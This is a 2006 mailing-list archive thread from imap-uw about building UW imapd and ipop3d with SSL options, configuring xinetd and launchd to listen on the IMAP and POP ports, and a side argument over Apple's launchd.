X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mar 5, 2006, at 23:48 , Mark Crispin wrote: > On Sun, 5 Mar 2006, BuildSmart wrote: >> Sorry, I should have looked a little closer at the Makefile and >> read the changes to see thet the defualt was changesd to >> 'SSLTYPE=nopwd' > > That is the standard build, as required by RFC 3501. > >> Using 'SSLTYPE=none' gave me my working build but I was wondering >> if SSL/TLS support is still available with this build method??? > > That builds without SSL entirely; which is non-complaint with RFC > 3501 and VERY insecure. > >> Is it possible to have both methods available in a single binary??? > > If, by this, you mean building with SSL support, but allowing > insecure logins without the use of SSL, that is done by SSLTYPE=unix. > > However, I recommend that you use the standard SSLTYPE=nopwd. > Every client in the past several years has supported SSL and/or TLS. I'm sorry if I'm starting to sound like an idiot but I am having a hard time with understanding the documentation. I can agree that most mail apps I've looked at have some checkbox for SSL encryption which also changes the port to communicate on. I have an app set up that sends the password to retrieve mail to be read (no clue what format, only that it works), when I build with the nopwd option I can no longer retrieve e-mail. When I try "telnet loalhost 993" it refuses connection (obviously not set to watch this port). I have no issues with using SSL options to hide plain-text passowrds but pam_mysql expects the password to be plain-text when it processes it. Forcing only SSL connections for mail is probably a good idea however the instructions for making it work are unclear to me, I understand drag and drop and it works but if I build with SSLTYPE=unix it's no longer drag and drop and I couldn't find simple explanations in the documentation to make it work. My issue is probably more of configuration than anything else and what I do know is I have a /etc/xinet.d/imapd file with the following content: service imapd { disable = no type = unlisted socket_type = stream protocol = tcp wait = no user = root groups = yes server = /usr/libexec/imapd port = 143 } Aside from the port change, what else do I need to change to get mail working again? What is required to have both SSL and non-SSL capabilities? Will I need 2 files or can it be done in the existing file? > -- Mark -- -- Dale _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 22:40:12 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 22:40:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266eCA5005713 for ; Sun, 5 Mar 2006 22:40:12 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266eBLl029358 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 22:40:11 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266e7C8013095 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 22:40:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266e7t2015076; Sun, 5 Mar 2006 22:40:07 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266e5wa015068 for ; Sun, 5 Mar 2006 22:40:05 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266e4DR008926 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 5 Mar 2006 22:40:04 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266e4tm013084 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 22:40:04 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266e26Z012511 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 5 Mar 2006 22:40:03 -0800 Date: Sun, 5 Mar 2006 22:40:02 -0800 (PST) From: Mark Crispin To: BuildSmart Subject: Re: [Imap-uw] build issues (RESOLVED) In-Reply-To: <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> Message-ID: References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 6 Mar 2006, BuildSmart wrote: > I have an app set up that sends the password to retrieve mail to be read (no > clue what format, only that it works), when I build with the nopwd option I > can no longer retrieve e-mail. Do you know if that application uses SSL? What is the application? > When I try "telnet loalhost 993" it refuses connection (obviously not set to > watch this port). You can't telnet to an SSL port. You have to use an SSL-enabled program such as the s_client in OpenSSL. > I have no issues with using SSL options to hide plain-text passowrds but > pam_mysql expects the password to be plain-text when it processes it. SSL has nothing to do with your password validation. SSL encrypts the entire session, not just SSL. > Forcing only SSL connections for mail is probably a good idea however the > instructions for making it work are unclear to me, I understand drag and drop > and it works but if I build with SSLTYPE=unix it's no longer drag and drop > and I couldn't find simple explanations in the documentation to make it work. Did you set up separate xinetd startup files for both the IMAP port (port 143) and the SSL IMAP port (port 993)? You have to do that. xinetd is a completely different program, which I neither develop nor maintain. What's more, there are different ways that xinetd is set up on different systems. You have to consult the xinetd documentation on your system for how this should be done. > Aside from the port change, what else do I need to change to get mail working > again? All you need to do is to set up the appropriate configuration files *for your operating system* that will start imapd on port 143 and 993 and ipop3d on port 110 and 995. That's four separate server listen/startup rules that you have to set up. There are too many variations for me to offer a "one shoe fits all". The documentation tried to do such for inetd, but even inetd has many variations. xinetd also has variations. What's more, if you use Mac OS X, you may have to use a launchd configuration file instead of xinetd. xinetd doesn't seem to work reliably on Mac OS X. I don't know much about launchd, other than the fact that it uses XML (shudder) and follows Apple's typical contempt of standards. Your best bet is to consult your system's documentation and/or the vendor of your system; alternatively, ask a expert on your system type. imapd and ipop3d do no TCP I/O on their own. All their I/O is via stdio; thus they are always invoked by the system's TCP listener (inetd or xinetd or launchd). -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 22:43:12 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 22:43:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266hC4G005916 for ; Sun, 5 Mar 2006 22:43:12 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266hB3X029499 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 22:43:11 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266h7Si009302 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 22:43:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266h78Z015493; Sun, 5 Mar 2006 22:43:07 -0800 Received: from mxe6.u.washington.edu (mxe6.u.washington.edu [140.142.33.16]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266h41U015482 for ; Sun, 5 Mar 2006 22:43:04 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe6.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266h375016489 for ; Sun, 5 Mar 2006 22:43:04 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 420A17B46B1; Mon, 6 Mar 2006 01:43:03 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26575-02; Mon, 6 Mar 2006 01:43:02 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id A8BE77B46AB; Mon, 6 Mar 2006 01:43:02 -0500 (EST) In-Reply-To: References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] authentication never performed. Date: Mon, 6 Mar 2006 01:43:01 -0500 To: Mark Crispin X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mar 6, 2006, at 24:49 , Mark Crispin wrote: > On Mon, 6 Mar 2006, BuildSmart wrote: >> What I'm trying to achieve is true virtual users, all required >> authentication is currently done with mysql, what I'd like to >> avoid is adding 9263 users to /etc/passwd and creating 9263 homes. > > By design, UW imapd uses UNIX users and the UNIX security model. > Some other IMAP implementations (e.g., Cyrus from CMU) has its own > user scheme and security model. So, Cyrus may be more suitable for > your purposes. > > However, I don't quite understand the cost of adding 9263 users to / > etc/passwd -- you have to define the users someplace. > >> What occurs if they don't have home directories??? > > IMAP has secondary (non-INBOX) mailboxes. So the lack of a home > directory means this important capability of IMAP isn't usable. > > For that reason, I don't quite understand the cost of creating 9263 > homes either -- you have to have a per-user directory for the > users' non-INBOX mailboxes anyway. > >> I was thinking of replacing the qpopper binary with the ipop3d >> from uw-imap however it doesn't appear to be a drop in >> replacement, is there any additional configurating required??? > > No additional configuration is required. In POP3, unlike IMAP, > there is only the INBOX. > > People have replaced qpopper with ipop3d successfully. Just > remember that ipop3d works just like imapd (internally, it's the > same library) so requires a UNIX userid just like imapd does. I've set up the mail app to use an existing system user (listed in / etc/passwd), authentication is set to use pam_unix and with qpopper I can log in and read mail. I'm assuming password is plain-text or clear but tried md5-challenge which also didn't work. I renamed qpopper to ipop3d, restarted everything, mail still works. Replaced the working ipop3d (qpopper) with the one from wu-imap, can't read mail due to authentication problem so it's not exactly a drop in replacement for qpopper. I grabbed a newer version of qpopper, built it, dropped it in, it worked. If it's a build issue, I'll build it any way you specify, drop it in and see if it works cause currently I can't get the ipop3d to work at all. >> I couldn't find any inetd or xinetd config files and the >> documentation didn't tell me anything special was required for >> arguments or did I miss something? > > There isn't anything special required for arguments. Arguments are > only used with the SecureWare package used on some Tru64 UNIX and > SCO systems; and that is determined by SecureWare, not by imapd/ > ipop3d. > > -- Mark -- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 08:39:19 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 08:39:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26GdIuf010693 for ; Mon, 6 Mar 2006 08:39:18 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26GdHvk027140 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 08:39:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26GdEFj007963 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 08:39:14 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26GdDmu016421; Mon, 6 Mar 2006 08:39:13 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26GdDwO016413 for ; Mon, 6 Mar 2006 08:39:13 -0800 Received: from sol.prograde.net (gateway.prograde.net [66.92.163.78]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26Gd8lU003287 for ; Mon, 6 Mar 2006 08:39:12 -0800 Received: from [192.168.42.97] (static-70-108-243-8.res.east.verizon.net [70.108.243.8]) by sol.prograde.net (Postfix) with ESMTP id A03BDB4474 for ; Mon, 6 Mar 2006 11:39:07 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <1200D0FD-FA5F-4CB7-AA97-888FA548121D@prograde.net> Content-Transfer-Encoding: 7bit From: Michael Cashwell Subject: Re: [Imap-uw] build issues (RESOLVED) Date: Mon, 6 Mar 2006 11:39:05 -0500 To: imap-uw@u.washington.edu X-Mailer: Apple Mail (2.746.2) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mar 6, 2006, at 1:40 AM, Mark Crispin wrote: > I don't know much about launchd, other than the fact that it uses > XML (shudder) and follows Apple's typical contempt of standards. Oh please! What standards? If there's a uniform and performant solution that addresses system-init, network daemon listers, system- and per-user time-scheduled execution and the like, can we have a link to it? It was precisely this void that prompted Apple to create launchd. Branding Apple as contemptuous of standards is rich indeed from the author of a distribution that hard-codes configuration settings in deeply-buried source files. What happened to the de-facto standard of using runtime configuration files like dhcpd, BIND, postfix, and Apache do? Never have I needed to repeatedly put configuration items in their source files (nor recompile to change them!) and their settings persist with almost no effort on my part from one release to the next. But more broadly, when I "don't know much about" something I make an effort to learn about it before criticizing. To that end, there is readily-available information on launchd . > imapd and ipop3d do no TCP I/O on their own. All their I/O is via > stdio; thus they are always invoked by the system's TCP listener > (inetd or xinetd or launchd). I build it using the OS X (PAM) target: make oxp and copy the 2 executables: sudo cp ./imapd/imapd /usr/local/sbin/ ; sudo chown root:wheel /usr/ local/sbin/imapd sudo cp ./ipopd/ipop3d /usr/local/sbin/ ; sudo chown root:wheel /usr/ local/sbin/ipop3d (BTW, to make SSL mean much, one should procure a server certificate. With just a few clients even a self-signed one is manageable.) I use two launchd .plist files: /Library/LaunchDaemons/ edu.washington..plist. Each handles the plain and ssl form of the service. Here's my imap one: Disabled Label edu.washington.imapd ServiceDescription IMAP Server ProgramArguments /usr/local/sbin/imapd inetdCompatibility Wait Sockets plain SockServiceName imap SockType stream ssl SockServiceName imaps SockType stream Best regards, Mike Cashwell _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 11:00:21 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 11:00:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0La0019835 for ; Mon, 6 Mar 2006 11:00:21 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0KvK003208 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 11:00:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0GXF008747 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 11:00:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0FAv016077; Mon, 6 Mar 2006 11:00:15 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0Eb3016068 for ; Mon, 6 Mar 2006 11:00:14 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0EYp001920 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 6 Mar 2006 11:00:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0DlS020332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 11:00:13 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26J0C4q028127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 6 Mar 2006 11:00:12 -0800 Date: Mon, 6 Mar 2006 11:00:11 -0800 (PST) From: Mark Crispin To: Michael Cashwell Subject: Re: [Imap-uw] build issues (RESOLVED) In-Reply-To: <1200D0FD-FA5F-4CB7-AA97-888FA548121D@prograde.net> Message-ID: References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> <1200D0FD-FA5F-4CB7-AA97-888FA548121D@prograde.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 6 Mar 2006, Michael Cashwell wrote: > Oh please! What standards? If there's a uniform and performant solution that > addresses system-init, network daemon listers, system- and per-user > time-scheduled execution and the like, can we have a link to it? It was > precisely this void that prompted Apple to create launchd. Other UNIX systems have variants, each being their respective vendors' own idea of "improved", but along a common theme that respects the 30+ year UNIX tradition. It is possible to transfer knowledge of one system to another; and where the changes are major, it is possible to use man to uncover the answer. Apple, however, went completely off on their own, just as NeXT did with NetInfo (creating the system where you couldn't do an ls or much else because a DNS query didn't respond). Launchd is unlike anything else. You have to be of the XML religion to like it. I've noticed that neither Linux, nor BSD, nor System V, seems to be making any move to adopt it. Much is missing. For example, nowhere in any of the Apple configuration tools is there any operation to get the modem port to function as an incoming dialup. "man init", "man getty" and "man ttys" all tell you things that you already knew from UNIX, but are totally false on Mac OS X. Bits and pieces of the traditional programs, configuration files, and man pages remain. Some do nothing at all (e.g., ttys, fstab). Others work, but unpredictably (whether your xinetd configuration will start properly at system boot time depends completely upon timing!). Still others actually seem to be current (e.g., /etc/services). A web page has a sample launchd XML equivalent of a sample xinetd file; but it doesn't document the set of values nor does it document the equivalent for fields that aren't in the sample xinetd file. I find it ironic that you complain about imapd having a fixed configuration. That's about as "uniform and performant" as you can get. I couldn't help the problems caused by multiple system configuration databases (/etc files, Yellow Pages/NIS, NetInfo), multiple network listeners (inetd, xinetd, launchd), multiple security packages (OpenSSL, SSPI, PAM, SecureWare, SIA, AFS, Kerberos, POSIX,...), etc. It wasn't so bad when I wrote imapd. But I could (and did) create a single, sane, default IMAP configuration. In my experience, most deviations from that configuration are unnecessary, ill-informed, and generally cause more problems than they solve. Many of these deviations are applied by third parties, who then do not disclose what they did, nor the implications of what they did, with their customers. Guess who ends up answering the customers' "why doesn't it work the way it's documented" questions. Most of the time, the solution is to replace the hacked version with a completely unmodified one. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 11:52:06 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 11:52:06 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26Jq6l0022970 for ; Mon, 6 Mar 2006 11:52:06 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26Jq54n029572 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 11:52:05 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26Jq1De006532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 11:52:01 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26Jq1Dk027815; Mon, 6 Mar 2006 11:52:01 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26Jq0pW027807 for ; Mon, 6 Mar 2006 11:52:00 -0800 Received: from basie.internet2.edu (basie.internet2.edu [207.75.164.22]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26JpZ3L012107 for ; Mon, 6 Mar 2006 11:51:59 -0800 Received: from localhost (localhost [127.0.0.1]) by basie.internet2.edu (Postfix) with ESMTP id 5A83147E66; Mon, 6 Mar 2006 14:51:35 -0500 (EST) Received: from basie.internet2.edu ([127.0.0.1]) by localhost (basie.internet2.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02772-10; Mon, 6 Mar 2006 14:51:35 -0500 (EST) Received: by basie.internet2.edu (Postfix, from userid 1122) id 3BA2547CFE; Mon, 6 Mar 2006 14:51:35 -0500 (EST) Date: Mon, 6 Mar 2006 14:51:35 -0500 From: Dan Pritts To: Mark Crispin Subject: Re: [Imap-uw] build issues (RESOLVED) Message-ID: <20060306195135.GA2208@internet2.edu> References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> <1200D0FD-FA5F-4CB7-AA97-888FA548121D@prograde.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-Virus-Scanned: by mail.internet2.edu virus scanner X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, Mar 06, 2006 at 11:00:11AM -0800, Mark Crispin wrote: > Launchd is unlike anything else. You have to be of the XML religion to > like it. I've noticed that neither Linux, nor BSD, nor System V, seems to > be making any move to adopt it. in many ways, it is like Solaris 10's SMF, but i haven't looked deep under the covers of either one. So far, i like SMF. danno -- dan pritts - systems administrator - internet2 734/352-4953 office 734/834-7224 mobile _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 13:04:48 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 13:04:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26L4m0w027090 for ; Mon, 6 Mar 2006 13:04:48 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26L4kE6012360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 13:04:47 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26L4g5M004913 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 13:04:42 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26L4gkH011450; Mon, 6 Mar 2006 13:04:42 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26L4exM011435 for ; Mon, 6 Mar 2006 13:04:40 -0800 Received: from sol.prograde.net (gateway.prograde.net [66.92.163.78]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k26L4d0Z019805 for ; Mon, 6 Mar 2006 13:04:39 -0800 Received: from [192.168.42.97] (static-70-108-243-8.res.east.verizon.net [70.108.243.8]) by sol.prograde.net (Postfix) with ESMTP id C0F08B4A02 for ; Mon, 6 Mar 2006 16:04:36 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: 